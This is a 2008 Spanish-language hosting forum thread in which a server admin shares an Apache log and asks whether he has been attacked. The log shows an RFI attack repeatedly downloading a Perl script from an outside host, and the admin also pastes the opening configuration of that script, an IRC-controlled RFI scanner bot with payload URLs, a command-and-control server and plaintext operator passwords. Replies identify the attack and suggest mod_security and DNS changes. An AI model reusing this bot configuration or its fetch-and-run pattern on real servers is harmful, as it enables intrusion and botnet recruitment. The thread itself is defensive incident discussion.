OVH Community, your new community space.

¿Es Esto un Ataque en toda regla?


Salteador
09/11/2008, 19:03
Te recomiendo instalesel mod_security te evitara eso y muchos otros ataques al servidor.

Sobre todo si tienes muchas webs y quieres tener un minimo de seguridad en la maquina.

kennysamuerto
09/11/2008, 03:17
Cita Publicado inicialmente por Mazmardigan
Por lo que veo es un RFI, eso aprovecha vulnerabilidades de webs incluyendo otros archivos con código PHP, y por lo que leo en el script se aprovecha de vulnerabilidades de joomla entre otros. Yo que tu revisaría la seguridad de tus webs.
Era la web de uno de mis alojados.

Lo que comunmente se llama red social.

Por suerte, parece solucionado.

Muchas gracias por la informacion.

Mazmardigan
08/11/2008, 20:25
Por lo que veo es un RFI, eso aprovecha vulnerabilidades de webs incluyendo otros archivos con código PHP, y por lo que leo en el script se aprovecha de vulnerabilidades de joomla entre otros. Yo que tu revisaría la seguridad de tus webs.

kennysamuerto
07/11/2008, 23:12
Muchisimas Gracias!

Voy a ir haciendo lo que me indicas!

Saludos

itimag
07/11/2008, 22:56
Cita Publicado inicialmente por kennysamuerto
No reinicie apache, y parece que lo volvieron a intentar (con el mismo log de error). Tras otro reinicio, desistio.

Ahora tengo el top como toca, 0,06 y los 140 procesos totales que acostumbro, sin zombie.

Tratare de buscar como evitarlo, o si alguien tiene alguna sugerencia...

Saludos y gracias.
Me alegro de que todo siga como antes. Esperemos que se hagan cansado.

Lo que se me ocurre que puedes hacer es provocar que tu servidor no pueda resolver nombres de dominio. De esta forma, cuando el script haga un "Resolving www.vidinas.net...", tu servidor no lo resolverá y por lo tanto, no podrá hacer nada.

Esto provoca que tampoco puedas hacer wget desde tu servidor o un apt-get update ya que no resolverá las url de tus repositorios.

¿Cómo provocar lo que te he dicho?

Simplemente debemos modificar el fichero /etc/bind/named.conf.options y añadimos la siguiente regla dentro del options { } :

Código:
recursion no;

Edito:
Estoy suponiendo que tu servidor utiliza tu propio servidor de dns para acceder a internet. Hay que tener en cuenta que el "recursion no;" no va a permitir que otros servidores que puedas tener puedan usar esas dns.

Si quieres poderlas usar en otros servidores, debes hacer lo siguiente:

Simplemente debemos modificar el fichero /etc/bind/named.conf.options y añadimos la siguiente regla al principio del fichero:
Código:
acl recurseallow { 213.251,XXX.XXX; 62.43.XXX.XXX; };
Nota: Las ip que introducimos, son las que van a poder utilizar nuestras dns para resolver dominios. Como se observa, no incluyo la de localhost (127.0.0.1) para evitar el acceso desde la propia máquina.

Ahora insertamos dentro de la función options {}, además de lo que ya hay, lo siguiente:
Código:
allow-recursion { recurseallow; };
Mi fichero como ejemplo (sin muchos comentarios):
Código:
acl recurseallow { 213.251,XXX.XXX; 62.43.XXX.XXX; };
options {
        directory "/var/cache/bind";
        auth-nxdomain no;    # conform to RFC1035
        listen-on-v6 { any; };
        allow-recursion { recurseallow; };
};
Nota: con este método no tendrías que poner "recursion no;".

Espero que esto te sirva de ayuda. Un saludo

kennysamuerto
07/11/2008, 22:46
Cita Publicado inicialmente por itimag
Menos mal que parece que no se ha podido llegar a ejecutar el script en tu máquina.

P.D: ¿Sigue con muchos procesos?

No reinicie apache, y parece que lo volvieron a intentar (con el mismo log de error). Tras otro reinicio, desistio.

Ahora tengo el top como toca, 0,06 y los 140 procesos totales que acostumbro, sin zombie.

Tratare de buscar como evitarlo, o si alguien tiene alguna sugerencia...

Saludos y gracias.

itimag
07/11/2008, 22:34
Cita Publicado inicialmente por kennysamuerto
Añadir que el archivo es mucho mas largo, pero no me permite poner tantos caracteres el foro.
Menos mal que parece que no se ha podido llegar a ejecutar el script en tu máquina.

P.D: ¿Sigue con muchos procesos?

kennysamuerto
07/11/2008, 21:08
Añadir que el archivo es mucho mas largo, pero no me permite poner tantos caracteres el foro.

kennysamuerto
07/11/2008, 21:08
Bien, estoy tan tranquilo con mi servidor, cuando de repente, veo que los procesos, y especialmente los zombie, suben un monton. he llegado a ver 800 procesos en total, y de ellos, unos 240 zombie.

Entonces, e entrado al log de error de apache, para determinar que esta fallando, y me encuentro con esto:

Código:
[Fri Nov 07 21:55:47 2008] [notice] Digest: generating secret for digest authentication ...
[Fri Nov 07 21:55:47 2008] [notice] Digest: done
[Fri Nov 07 21:55:47 2008] [notice] mod_bw : Memory Allocated 0 bytes (each conf takes 28 bytes)
[Fri Nov 07 21:55:47 2008] [notice] mod_bw : Version 0.8 - Initialized [0 Confs]
[Fri Nov 07 21:55:47 2008] [notice] mod_python: Creating 4 session mutexes based on 256 max processes and 0 max threads.
[Fri Nov 07 21:55:47 2008] [warn] RSA server certificate CommonName (CN) `plesk' does NOT match server name!?
[Fri Nov 07 21:55:47 2008] [warn] RSA server certificate CommonName (CN) `plesk' does NOT match server name!?
[Fri Nov 07 21:55:47 2008] [warn] RSA server certificate CommonName (CN) `plesk' does NOT match server name!?
[Fri Nov 07 21:55:47 2008] [warn] Init: SSL server IP/port conflict: default-87-98-227-122:443 (/etc/httpd/conf.d/zz010_psa_httpd.conf:100) vs. webmail:443 (/etc/httpd/conf.d/zz010_psa_httpd.conf:157)
[Fri Nov 07 21:55:47 2008] [warn] Init: You should not use name-based virtual hosts in conjunction with SSL!!
[Fri Nov 07 21:55:47 2008] [notice] Apache/2.2.3 (CentOS) configured -- resuming normal operations
[Fri Nov 07 21:55:48 2008] [notice] Graceful restart requested, doing restart
[Fri Nov 07 21:55:48 2008] [error] (9)Bad file descriptor: apr_socket_accept: (client socket)
Can't open perl script "ww.txt.txt": No such file or directory
sh: fetch: command not found
--21:55:48--  http://www.vidinas.net/includes/ww.txt
Resolving www.vidinas.net... 72.29.69.75
Connecting to www.vidinas.net|72.29.69.75|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 53229 (52K) [text/plain]
Saving to: `ww.txt'

     0K .......... .Missing right curly or square bracket at ww.txt line 286, at end of line
syntax error at ww.txt line 286, at EOF
Execution of ww.txt aborted due to compilation errors.
--21:55:49--  http://www.vidinas.net/includes/ww.txt
Resolving www.vidinas.net... 72.29.69.75
Connecting to www.vidinas.net|72.29.69.75|:80... ......... ....connected.
HTTP request sent, awaiting response... ...... .......... .......... 96%  146K 0s200 OK
Length: 53229 (52K) [text/plain]
Saving to: `ww.txt'

     0K ..
    50K .                                                     100% 18.2K=0.5s

21:55:49 (115 KB/s) - `ww.txt' saved [53229/53229]

........ .Missing right curly or square bracket at ww.txt line 286, at end of line
syntax error at ww.txt line 286, at EOF
Execution of ww.txt aborted due to compilation errors.
Can't open perl script "ww.txt": No such file or directory
......... .......... .......... .  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0 53229    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0......... 96%  111K 0s
    50K .                                                     100% 10.4M=0.4s

21:55:49 (116 KB/s) - `ww.txt' saved [53229/53229]

 59 53229   59 31568    0     0  56317      0 --:--:-- --:--:-- --:--:-- 93952100 53229  100 53229    0     0  94351      0 --:--:-- --:--:-- --:--:--  152k
Can't open perl script "ww.txt": No such file or directory
rm: cannot remove `ww.txt*': No such file or directory
Can't open perl script "ww.txt": No such file or directory
syntax error at ww.txt line 559, at EOF
Missing right curly or square bracket at ww.txt line 559, at end of line
Execution of ww.txt aborted due to compilation errors.
Missing right curly or square bracket at ww.txt line 1104, at end of line
syntax error at ww.txt line 1104, at EOF
Execution of ww.txt aborted due to compilation errors.
Can't open perl script "ww.txt.txt": No such file or directory
sh: fetch: command not found
--21:55:50--  http://www.vidinas.net/includes/ww.txt
Resolving www.vidinas.net... 72.29.69.75
Connecting to www.vidinas.net|72.29.69.75|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 53229 (52K) [text/plain]
Saving to: `ww.txt'

     0K .......... .......... .......... .......... .........Can't find string terminator '"' anywhere before EOF at ww.txt line 1296.
Can't find string terminator '"' anywhere before EOF at ww.txt line 1296.
sh: fetch: command not found
. 96%  111K 0s
    50K .                                                     100% 3779G=0.4s

21:55:51 (116 KB/s) - `ww.txt' saved [53229/53229]

Asustado, recurro a la web que me indica el log:

www.vidinas.net y tras acceder a la ruta del txt, me encuentro esto:

Código PHP:
#!/usr/bin/perl

print('
########################################
## FeeLCoMz RFI Scanner Bot v4.8      ##
## By FaTaLisTiCz_Fx                  ##
## © Agu-Nov 2008, FeeLCoMz Community ##
########################################
'
);
######################################################
## Usage:                                           ##
##   perl feelscanz.pl    ##
## Notes:                                           ##
## + All Parameters are optional                    ##
##                                                  ##
## Features:                                        ##
## + RFI Scanner                                    ##
## + RFI Scan & Exploit (Exploit per engine)        ##
## + Joomla RFI Scan & Exploit                      ##
## + Milw0rm Search                                 ##
## + Google bypass (Using PHP)                      ##
## + Message Spy & Save                             ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)

use strict;

use 
IO::Socket::INET;
use 
LWP::UserAgent;
use 
HTTP::Request;

my $versi   "v4.8";
my $cmdpre  "."#Command Prefix

##[ KONFIGURASI URL ]##
my $fx29id  "http://www.vidinas.net/includes/copyright.txt?"#Fx29ID1 (Simple) / #Fx29ID2 (Advanced)
my $fx29id2 "http://www.vidinas.net/includes/readme.txt?"#Fx29ID2 (Advanced)
my $fx29sh  "http://www.vidinas.net/includes/cyberz.txt?"#Fx29Sh (Optional)
my $bypass  "http://www.ekosystem.org/googlerz.php?"#Google Bypasserz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite  "http://www.vidinas.net/includes/"#Path to Sources URL (Optional)
my $spread  $mysite."bots.txt"#Fx29Spreadz (Optional)
my $joomlaz $mysite."joomla.txt"#Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.nakal-a.biz");
my %bot     = (
  
nick    => "ScaNinG[".int(rand(100))."]",
  
ident   => "Fx".int(rand(100)),
  
chan    => ["#bots"],
  
server  => $servers[rand(scalar(@servers))],
  
port    => "6667"
);

##[ KONFIGURASI USER ##
## cryptz: 0 = Not Encrypted, 1 = Encrypted
my %boss = (
  
sobieski09 => {
    
pass   => 'makarena',
    
status => "admin",
    
cryptz => 0,
    
login  => 0
  
},
  
delux => {
    
pass   => 'sobieski',
    
status => "admin",
    
cryptz => 0,
    
login  => 0
  
},
);

##[ KONFIGURASI SPY ]##
my %spy = (
  
host   => "",
  
chanz  => [""],
  
wordz  => ['http://.+?[=]'],
  
foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
  
showsite => 1#Show link to debug channel (Yes/No)
  
linez    => 3#Lines per message
  
sleepz   => 3#Message delay per linez (seconds)
  
rfipid   => 50#Sites per proccess
  
rficnt   => 100#Counter setting
  
rficnt2  => 200#Counter setting
  
timeout  => 4#Http socket time out
);

##[ KONFIGURASI WARNA ]##
my %colz = (
  
=> "0,1 [!]9 " => " 0[!] "#Header
  
=> "0,1«[9 " => " 0]»"#Proses
);

##[ PARAMETER BARIS PERINTAH ]##
$bot{chan}   = "#".$ARGV[0] if $ARGV[0];
$bot{server} = $ARGV[1] if $ARGV[1];
$bot{port}   = $ARGV[2] if $ARGV[2]; 
Que me han hecho? estoy en peligro?